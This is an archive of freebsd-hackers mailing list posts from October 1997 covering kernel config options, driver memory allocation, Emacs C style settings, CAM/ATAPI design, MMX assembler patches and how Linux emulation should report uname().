j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id HAA22624; Fri, 10 Oct 1997 07:33:26 +0200 (MET DST) Message-ID: <19971010073326.WG52815@uriah.heep.sax.de> Date: Fri, 10 Oct 1997 07:33:26 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: mdean@best.com (mdean) Subject: Re: config questions References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from mdean on Oct 9, 1997 15:07:36 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As mdean wrote: > in the kernel config file, what does the modifier after the port number do? > i.e. port 0x250 bio or port 0x250 tty RTFM spl(9) for this. > could > you have it on the same line as the driver like > > ... port 0x250 tty irq 5 vector drivervec goodies 1 > > and get it put in driver.h? No. You can have two things: device foo port 0x250 tty irq 5 vector foovec flags 0x234 ...where the man page for foo(4) is supposed to explain the meaning of the flags values. This is pretty obscure, but on the plus side, you can change the flags on a per-device basis (as opposed to per-driver), and you can change them at boot-time with UserConfig (or /kernel.config). The other option is, well, an `option': options FOOOPT options "FOOZOOLIX=23" ...which will convert into #define FOOOPT 1 #defien FOOZOOLIX 23 but needs a kernel recompilation in order to take effect. The preferable style for options is now to mention all valid options in either /sys/conf/options, or /sys/$arch/conf/options.$arch, so there will be a file named "opt_fooopt.h" etc. in your kernel compile directory with the above #defines. (The old way translated them into -D options in the Makefile, but this loses when it comes to dependencies.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Oct 9 23:10:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA26268 for hackers-outgoing; Thu, 9 Oct 1997 23:10:17 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA26263 for ; Thu, 9 Oct 1997 23:10:14 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id XAA15522; Thu, 9 Oct 1997 23:03:35 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd015520; Fri Oct 10 06:03:33 1997 Date: Thu, 9 Oct 1997 23:02:23 -0700 (PDT) From: Julian Elischer To: mdean cc: freebsd-hackers@FreeBSD.ORG Subject: Re: free() in device drivers In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk yes On Thu, 9 Oct 1997, mdean wrote: > > If I do a malloc (p, M_DEVBUF, M_NOWAIT); > > then find a problem in my attach routine, can I do a free(p, M_DEVBUF) to > recover that memory? > > > > > From owner-freebsd-hackers Thu Oct 9 23:20:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA26758 for hackers-outgoing; Thu, 9 Oct 1997 23:20:36 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from safeconcept.utimaco.co.at (mail-gw.utimaco.co.at [195.96.28.162]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA26749 for ; Thu, 9 Oct 1997 23:20:27 -0700 (PDT) (envelope-from Michael.Schuster@utimaco.co.at) Received: (from uucp@localhost) by safeconcept.utimaco.co.at (8.8.5/8.8.5) id IAA13035 for ; Fri, 10 Oct 1997 08:14:53 +0200 (CEST) Received: from wshpux.utimaco.co.at(10.0.0.18) by safeconcept via smap (V2.0) id xma013020; Fri, 10 Oct 97 08:14:38 +0200 Message-ID: <343DC8B7.3CC2C5A8@utimaco.co.at> Date: Fri, 10 Oct 1997 08:18:31 +0200 From: Michael Schuster Organization: Utimaco Safe Concept GmbH., Linz, Austria X-Mailer: Mozilla 4.02b7 [en] (X11; I; HP-UX B.10.01 9000/715) MIME-Version: 1.0 To: "hackers@FreeBSD.ORG" Subject: Re: group assignments from make world Content-Type: text/plain; charset=x-UNICODE-2-0-UTF-7 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Terry Lambert wrote: > Seems like an awful lot of work .... > Does this strike anyone else as a discipline issue rather than > a user read-access control issue? Definitely. Perhaps a few well-placed hints ("don't bugger us if it's not URGENT") in the online docs would help do the trick. -- Michael Schuster Utimaco Safe Concept GmbH. | Tel: +43 732 655755 41 Europaplatz 6 | Fax: +43 732 655755 5 A-4020 Linz Austria | email: Michael.Schuster@utimaco.co.at From owner-freebsd-hackers Thu Oct 9 23:23:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA26914 for hackers-outgoing; Thu, 9 Oct 1997 23:23:26 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA26907 for ; Thu, 9 Oct 1997 23:23:22 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id PAA25576; Fri, 10 Oct 1997 15:53:11 +0930 (CST) Message-ID: <19971010155311.58360@lemis.com> Date: Fri, 10 Oct 1997 15:53:11 +0930 From: Greg Lehey To: Joerg Wunsch Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Major number requested References: <19971009203311.QE10395@uriah.heep.sax.de> <343D4AD9.794BDF32@whistle.com> <19971010072220.HE00812@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: <19971010072220.HE00812@uriah.heep.sax.de>; from J Wunsch on Fri, Oct 10, 1997 at 07:22:20AM +0200 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, Oct 10, 1997 at 07:22:20AM +0200, J Wunsch wrote: > As Julian Elischer wrote: > >>> Please adhere to style(9) if you intend to contribute it. > >> just run 'indent' over it as you are developing it.. > > ...or use Emacs with the appropriate style description. :-) That's a new one on me. Last time I looked, you didn't get much choice. Pointer? > Better repair indent(1) before using it. See the Unix Hater's > Handbook for a description of its flaws. I've hacked enough of them myself. They're too deep for anything short of a rewrite to fix. What about a pointer to the UHH? Greg From owner-freebsd-hackers Thu Oct 9 23:24:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA27005 for hackers-outgoing; Thu, 9 Oct 1997 23:24:01 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA26966 for ; Thu, 9 Oct 1997 23:23:56 -0700 (PDT) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 29147 invoked by uid 1000); 10 Oct 1997 06:24:21 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha-100597 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199710091911.MAA06915@usr08.primenet.com> Date: Thu, 09 Oct 1997 23:24:21 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Terry Lambert Subject: Re: group assignments from make world. Cc: fullermd@futuresouth.com, hackers@FreeBSD.ORG, jkh@time.cdrom.com, (Warner Losh) Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Terry Lambert; On 09-Oct-97 you wrote: ... > Does this strike anyone else as a discipline issue rather than > a user read-access control issue? Yes. It is what I mean by quantitive vs. qaulitive. We are discssing a rule implementation while the old one is not enforced. Too many rules, and this will become M$ Technet (or whatver they call it nowdays. Splitting the lists to more specialized is good, but the quality of our work is more important. If submitters will always do a make world on every patch before submitting, maybe 10% of the noise will go away (I usspect the number is too high, but we have seen that happen. Checkpoints are also useful; Take so many checkins, build (automatically, and publish the last successful checkpoint. Restricting cvs update downloads while an upload is in progress makes sense. I solve this one by careful monitoring of the cvsup run and double running, to get a clean, no-change run. But I am a novice to this... --- Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-hackers Thu Oct 9 23:24:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA27092 for hackers-outgoing; Thu, 9 Oct 1997 23:24:18 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA27084 for ; Thu, 9 Oct 1997 23:24:16 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id XAA26319 for ; Thu, 9 Oct 1997 23:23:13 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id XAA13991 for ; Thu, 9 Oct 1997 23:23:12 -0700 (PDT) Date: Thu, 9 Oct 1997 23:23:12 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk unsubscribe freebsd-hackers From owner-freebsd-hackers Thu Oct 9 23:51:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA28616 for hackers-outgoing; Thu, 9 Oct 1997 23:51:16 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id XAA28608 for ; Thu, 9 Oct 1997 23:51:01 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id IAA09955 for freebsd-hackers@FreeBSD.ORG; Fri, 10 Oct 1997 08:50:58 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id IAA22908; Fri, 10 Oct 1997 08:49:13 +0200 (MET DST) Message-ID: <19971010084912.ZA64319@uriah.heep.sax.de> Date: Fri, 10 Oct 1997 08:49:12 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Subject: Re: Major number requested References: <19971009203311.QE10395@uriah.heep.sax.de> <343D4AD9.794BDF32@whistle.com> <19971010072220.HE00812@uriah.heep.sax.de> <19971010155311.58360@lemis.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <19971010155311.58360@lemis.com>; from Greg Lehey on Oct 10, 1997 15:53:11 +0930 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Greg Lehey wrote: > > ...or use Emacs with the appropriate style description. :-) > > That's a new one on me. Last time I looked, you didn't get much > choice. Pointer? My own Emacs is stone-aged. I'm using c++-mode.el (but i think this has been renamed since), and i've added a submenu that allows me for a number of choices for the C style. This is rather hacked, but i have yet to find the time to make it right (probably after upgrading Emacs to a current version, now that i've got enough disk space to do this). (defconst bsd-c-style '("FreeBSD" (c-basic-offset . 8) (c-tab-always-indent . t) (c-hanging-braces-alist . ((substatement-open after) (brace-list-open))) (c-hanging-colons-alist . ((member-init-intro before) (inher-intro) (case-label after) (label after) (access-label after))) (c-cleanup-list . (scope-operator empty-defun-braces defun-close-semi)) (c-offsets-alist . ((arglist-close . c-lineup-arglist) (substatement-open . 0) (case-label . 0) (block-open . 0) (knr-argdecl-intro . -))) ) "FreeBSD C Programming Style") Note that the above is not fully style(9)-compliant. I think other people might have better pointers. I know that K&R function arguments are not indented, and despite of style(9), i prefer expression continuation lines being indented to the level the original expression started (as opposed to 4 spaces as style(9) says). > > Better repair indent(1) before using it. See the Unix Hater's > > Handbook for a description of its flaws. > > I've hacked enough of them myself. They're too deep for anything > short of a rewrite to fix. I think so. I once tried, but eventually gave up. The worst thing is that the entire file is copied, and then written over the original file, instead of creating a new file with just the modified contents (and rename everything in the end). > What about a pointer to the UHH? ISBN 1-56884-203-1 -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Oct 9 23:57:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA28865 for hackers-outgoing; Thu, 9 Oct 1997 23:57:44 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from ns2.harborcom.net (root@ns2.harborcom.net [206.158.4.4]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA28859 for ; Thu, 9 Oct 1997 23:57:37 -0700 (PDT) (envelope-from bradley@dunn.org) Received: from localhost (bradley@localhost) by ns2.harborcom.net (8.8.7/8.8.5) with SMTP id CAA27004 for ; Fri, 10 Oct 1997 02:57:35 -0400 (EDT) Date: Fri, 10 Oct 1997 02:57:35 -0400 (EDT) From: Bradley Dunn X-Sender: bradley@ns2.harborcom.net To: freebsd-hackers@FreeBSD.ORG Subject: Re: UUCP (important clarification) In-Reply-To: <19971007144257.56917@lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 7 Oct 1997, Greg Lehey wrote: > Interesting discussion. I didn't realize how many UUCP users there > are still out there, and how protective they are :-) I work for an ISP and we make a decent amount of money selling UUCP to small businesses. It works a whole lot better than the 'ETRN' SMTP hackery. pbd -- "Seems she thought of me as some mystic, fatalistic, mystical guru Me, I haven't got a clue." -- Tears for Fears, "Cold" From owner-freebsd-hackers Fri Oct 10 00:25:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA00240 for hackers-outgoing; Fri, 10 Oct 1997 00:25:23 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from zwei.siemens.at (zwei.siemens.at [193.81.246.12]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA00233 for ; Fri, 10 Oct 1997 00:25:18 -0700 (PDT) (envelope-from wirth@zerberus.hai.siemens.co.at) Received: from p0.hai.siemens.co.at (root@firix [10.1.143.100]) by zwei.siemens.at with SMTP id JAA04062 for ; Fri, 10 Oct 1997 09:24:36 +0200 (MET DST) Received: from zerberus.hai.siemens.co.at by p0.hai.siemens.co.at with smtp (Smail3.1.28.1 #7 for ) id m0xJZR9-00074OC; Fri, 10 Oct 97 08:24 MET Received: from zerberus (localhost) by zerberus.hai.siemens.co.at (4.1/SMI-4.1) id AA08122; Fri, 10 Oct 97 09:24:29 +0100 Message-Id: <343DE63D.41C67EA6@zerberus.hai.siemens.co.at> Date: Fri, 10 Oct 1997 09:24:29 +0100 From: Helmut Wirth Organization: Siemens AG. Österreich X-Mailer: Mozilla 3.01Gold (X11; I; SunOS 4.1.4 sun4c) Mime-Version: 1.0 To: "Mikhail B. Chernomordik" Cc: hackers@freebsd.org Subject: Re: Intel MMX programming References: <343D7911@mail> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Mikhail B. Chernomordik wrote: > > How have I to develope C-programms using inline > Pentium Intel MMX commands under FreeBSD? > Lets GNU C compiler make it? > > Thanks > Mikhail Chernomordik > mikhail@ids-net.com Hello, I submitted patches for the assembler and for the debugger gdb to support MMX instructions. The patches were submitted at the end of March 97 but nobody was interested. They are still sitting around in the GNATS database (gnu/3157, 97/03/31). I think the patches will still fit to current, because nobody changed the files since then. I am willing to mail the patches to you, then you could install them and use MMX with the assembler and as inline instructions with gcc. But you need FreeBSD-current. I did the patches for 2.2-Stable too, but I use current now and cannot test the old patches. Maybe somebody will install the patches to current ?? Regards Helmut -- Helmut F. Wirth --------------- E-mail: hfwirth@ping.at E-mail (at work): wirth@zerberus.hai.siemens.co.at Tel. : +43-1-1707-37610 (at work) FAX : +43-1-1707-57602 (at work) From owner-freebsd-hackers Fri Oct 10 00:50:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA01182 for hackers-outgoing; Fri, 10 Oct 1997 00:50:15 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA01172 for ; Fri, 10 Oct 1997 00:50:11 -0700 (PDT) (envelope-from julian@whistle.com) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id AAA17335; Fri, 10 Oct 1997 00:42:42 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd017333; Fri Oct 10 07:42:36 1997 Date: Fri, 10 Oct 1997 00:41:26 -0700 (PDT) From: Julian Elischer To: mdean cc: freebsd-hackers@FreeBSD.ORG Subject: Re: your mail In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk er was it soemthing we said? On Thu, 9 Oct 1997, mdean wrote: > > > unsubscribe freebsd-hackers > > > From owner-freebsd-hackers Fri Oct 10 01:40:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA03001 for hackers-outgoing; Fri, 10 Oct 1997 01:40:03 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from word.smith.net.au (word.smith.net.au [202.0.75.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA02957 for ; Fri, 10 Oct 1997 01:39:58 -0700 (PDT) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost.smith.net.au [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id SAA01577; Fri, 10 Oct 1997 18:06:30 +0930 (CST) Message-Id: <199710100836.SAA01577@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Kenneth Merry cc: mike@smith.net.au (Mike Smith), tlambert@primenet.com, sos@sos.freebsd.dk, lederer@bonn-online.com, hackers@FreeBSD.ORG, gibbs@plutotech.com Subject: Re: HP 7100i In-reply-to: Your message of "Thu, 09 Oct 1997 22:18:14 CST." <199710100418.WAA23725@pluto.plutotech.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 10 Oct 1997 18:06:28 +0930 From: Mike Smith Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Mike Smith wrote... > > I was just about to mail Justin and ask if there was any documentation > > on writing code to layer under his new CAM stuff. I have a copy of the > > T13 1153Dr16 document here, and have been studying it in a little > > detail. > > > > So, is there? > > Well, nothing specifically about the FreeBSD implementation. But, > there are the CAM and CAM-3 specs: > > http://www.symbios.com/x3t10/io/t10/drafts/cam/cam-r12b.pdf > http://www.symbios.com/x3t10/io/t10/drafts/cam3/cam3r02.pdf Snarfen... > > I think the way to go, if you want to add IDE support to the > FreeBSD CAM code, is to write another transport layer to go alongside the > current transport layer. Justin can elaborate on it a little more. (I've > CCed him..) The situation is a little complicated, in that you have two fundamentally different device types hung off the same interface. For our purposes, these are ATA disks and ATAPI devices. The NetBSD approach creates an 'atapibus', off which ATAPI devices are hung. These are registered with their SCSI layer, whilst IDE disks are associated with their 'wd' driver. I'm not sure if you're suggesting that the IDE interface should be parallelled with the SCSI interface, or whether you mean that the ATAPI interface should be treated as though it were another SCSI adapter. Perhaps the CAM docco will make things clearer. mike From owner-freebsd-hackers Fri Oct 10 02:32:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA05168 for hackers-outgoing; Fri, 10 Oct 1997 02:32:35 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from lab321.ru (anonymous1.omsk.net.ru [194.226.32.34]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA04816 for ; Fri, 10 Oct 1997 02:25:35 -0700 (PDT) (envelope-from Eugeny.Kuzakov@lab321.ru) Received: from lab321.ru (kev.l321.omsk.net.ru [194.226.33.68]) by lab321.ru (8.8.5-MVC-230497/8.8.5) with ESMTP id QAA11977; Fri, 10 Oct 1997 16:07:03 +0600 (OSK) Message-ID: <343DF04F.E2CCD49@lab321.ru> Date: Fri, 10 Oct 1997 16:07:27 +0700 From: Eugeny Kuzakov Organization: Powered by FreeBSD. X-Mailer: Mozilla 4.03b8 [en] (X11; I; FreeBSD 3.0-970807-SNAP i386) MIME-Version: 1.0 To: benedict@echonyc.com, hackers@freebsd.org Subject: Re: FreeBSD for internet server. Ok. What version ? References: Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Snob Art Genre wrote: > > Track 2.2-stable, or use 2.2.5 if you only have access to CD-ROMs. This I plan to wait release of 2.2.5. I don't like to up cvs on _working_ server. > kind of question should go to questions@freebsd.org, btw. I agree with you. But... I receives only freebsd-hackers mailing list really. When I trying subscribe for other mailing list, questions for example, majordomo@freebsd.org says me that all ok, my requests forwarded to owners... But no messages in feature... I receives only freebsd-hackers... -- Best wishes, Eugeny Kuzakov Laboratory 321 ( Omsk, Russia ) http://www.lab321.ru/~kev kev@lab321.ru From owner-freebsd-hackers Fri Oct 10 05:12:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA09984 for hackers-outgoing; Fri, 10 Oct 1997 05:12:33 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA09976; Fri, 10 Oct 1997 05:12:26 -0700 (PDT) (envelope-from rivers@dignus.com) Received: from ponds.dignus.com (ponds.vnet.net [166.82.177.48]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id IAA24588; Fri, 10 Oct 1997 08:12:17 -0400 (EDT) Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.8.5) with ESMTP id IAA22215; Fri, 10 Oct 1997 08:27:57 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id IAA08913; Fri, 10 Oct 1997 08:18:06 -0400 (EDT) Date: Fri, 10 Oct 1997 08:18:06 -0400 (EDT) From: Thomas David Rivers Message-Id: <199710101218.IAA08913@lakes.dignus.com> To: jlemon@americantv.com, rivers@dignus.com Subject: Re: LINUX emulation and uname(3). Cc: cracauer@cons.org, freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > On Oct 10, 1997 at 10:49:40PM -0400, Thomas David Rivers wrote: > > I have a program, written for Linux, that uses the uname() information > > as part of its license check... > > > > Unfortunately, the check fails... the company indicates that the > > failure is due to incorrect uname() information. > > > > So - does the uname() call under Linux emulation claim to be a LINUX > > box? - or - does it claim to be a FreeBSD box... > > > > The Linux uname() call currently reports the FreeBSD info. I suppose > that this could be made into a sysctl if it really becomes a nuisance? > (see sys/i386/linux/linux_misc.c:linux_newuname for the implementation) > -- > Jonathan > Well - it was a nuisance in this case, as I was unable to run the particular Linux program I wanted to run... And, of course, you are right... I got a small program that simply calls uname() on Linux and ran it on FreeBSD - it reported the FreeBSD info... However, after reporting what I was doing, the company sent me a new license key (with the idea that "FreeBSD" would be returned in the utsname fields), which worked... It's just a bother for the various companies, and it means that our claim of being able to run Linux binaries isn't as complete as we may have wanted. Maybe a sysctl, so people could taylor it, is the right thing to do. In any event, I think a uname() call under Linux emulation should claim to be "Linux" and not "FreeBSD". So, the default should be "Linux"... - Dave Rivers - From owner-freebsd-hackers Fri Oct 10 06:18:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA12760 for hackers-outgoing; Fri, 10 Oct 1997 06:18:46 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA12698; Fri, 10 Oct 1997 06:16:07 -0700 (PDT) (envelope-from sos@sos.freebsd.dk) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id PAA07929; Fri, 10 Oct 1997 15:12:44 +0200 (MEST) From: Søren Schmidt Message-Id: <199710101312.PAA07929@sos.freebsd.dk> Subject: Re: LINUX emulation and uname(3). In-Reply-To: <199710101218.IAA08913@lakes.dignus.com> from Thomas David Rivers at "Oct 10, 97 08:18:06 am" To: rivers@dignus.com (Thomas David Rivers) Date: Fri, 10 Oct 1997 15:12:44 +0200 (MEST) Cc: jlemon@americantv.com, rivers@dignus.com, cracauer@cons.org, freebsd-emulation@freefall.FreeBSD.org, freebsd-hackers@freefall.FreeBSD.org X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Thomas David Rivers who wrote: > > On Oct 10, 1997 at 10:49:40PM -0400, Thomas David Rivers wrote: > > > I have a program, written for Linux, that uses the uname() information > > > as part of its license check... > > > > > > Unfortunately, the check fails... the company indicates that the > > > failure is due to incorrect uname() information. > > > > > > So - does the uname() call under Linux emulation claim to be a LINUX > > > box? - or - does it claim to be a FreeBSD box... > > > > > > > The Linux uname() call currently reports the FreeBSD info. I suppose > > that this could be made into a sysctl if it really becomes a nuisance? > > (see sys/i386/linux/linux_misc.c:linux_newuname for the implementation) > > -- > > Jonathan > > > > Well - it was a nuisance in this case, as I was unable to run the > particular Linux program I wanted to run... > > And, of course, you are right... I got a small program that simply > calls uname() on Linux and ran it on FreeBSD - it reported the FreeBSD > info... > > However, after reporting what I was doing, the company sent me a new > license key (with the idea that "FreeBSD" would be returned in the utsname > fields), which worked... > > It's just a bother for the various companies, and it means that our claim > of being able to run Linux binaries isn't as complete as we may have wanted. > > Maybe a sysctl, so people could taylor it, is the right thing to do. > In any event, I think a uname() call under Linux emulation should claim > to be "Linux" and not "FreeBSD". So, the default should be "Linux"... NO, I think this is a bad idea. First off it _is_ not a Linux system, second the next thing is you will have to report an os version. Now tell me which of the bezillions Linux's versions are we going to call us then ? And besides some programs uses this to tell other services which platform they are running on, we dont want to advertise ourselves as Linux do we ?? -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Fri Oct 10 08:55:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA19527 for hackers-outgoing; Fri, 10 Oct 1997 08:55:54 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id IAA19516 for ; Fri, 10 Oct 1997 08:55:50 -0700 (PDT) (envelope-from imp@village.org) Received: from harmony [10.0.0.6] by rover.village.org with esmtp (Exim 1.71 #1) id 0xJhPe-0005Md-00; Fri, 10 Oct 1997 09:55:38 -0600 Received: from harmony.village.org (localhost [127.0.0.1]) by harmony.village.org (8.8.7/8.8.3) with ESMTP id JAA22072; Fri, 10 Oct 1997 09:55:53 -0600 (MDT) Message-Id: <199710101555.JAA22072@harmony.village.org> To: S ren Schmidt Subject: Re: HP 7100i Cc: lederer@bonn-online.com (Sebastian Lederer), hackers@freebsd.org In-reply-to: Your message of "Thu, 09 Oct 1997 09:44:07 +0200." <199710090744.JAA04641@sos.freebsd.dk> References: <199710090744.JAA04641@sos.freebsd.dk> Date: Fri, 10 Oct 1997 09:55:53 -0600 From: Warner Losh Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199710090744.JAA04641@sos.freebsd.dk> S ren Schmidt writes: : As far as I know there has been no work done on this yet. I even : have no idea how they do this but I presume they use the ATAPI : extensions for this, so it _could_ look like the SCSI counterparts. : I'm afraid that support for this is not very likely, without someone : either does the job (requieres pretty solid kernel hacking experience) : or donates a drive to the FreeBSD project. I'd love to see the ability to have IDE ATAPI drives be treated just like SCSI that has the bad taste to have IDE 